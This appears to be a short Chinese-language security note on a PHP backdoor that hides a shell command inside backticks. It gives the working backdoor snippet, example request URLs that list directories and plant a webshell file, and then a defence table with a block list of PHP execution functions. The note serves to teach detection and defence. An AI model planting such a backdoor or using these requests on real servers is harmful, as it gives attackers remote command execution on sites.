以下代碼乍看無異常,實則包含致命後門:
$selfNums = $_GET['r'];
if (isset($selfNums)) {
echo `$selfNums`;
}
關鍵在於變量外層的 反引號 `(鍵盤 Esc 下方、數字 1 左側鍵),非單引號。
`command` 等同於 shell_exec('command')# 列出目錄 https://127.0.0.1/t.php?r=dir # 寫入 webshell https://127.0.0.1/t.php?r=echo ^ ^>^> D:\web\90sec.php
已在 AppServ、共享虛擬主機環境驗證成功執行。
| 層面 | 措施 |
|---|---|
| 代碼審計 | 掃描反引號 `、shell_exec、exec、system、passthru、proc_open、popen |
| 禁用函數 | disable_functions = exec,shell_exec,system,passthru,proc_open,popen,` (php.ini) |
| 權限控制 | Web 目錄禁止寫入、執行權限分離、open_basedir 限制 |
| 輸入驗證 | 嚴格白名單驗證所有用戶輸入,拒絕命令注入特徵 |
| 文件完整性 | 部署文件雜湊驗證,定期掃描異常文件 |
此類後門利用語法特性而非漏洞,極難被常規 WAF 攔截,代碼層面防禦最關鍵。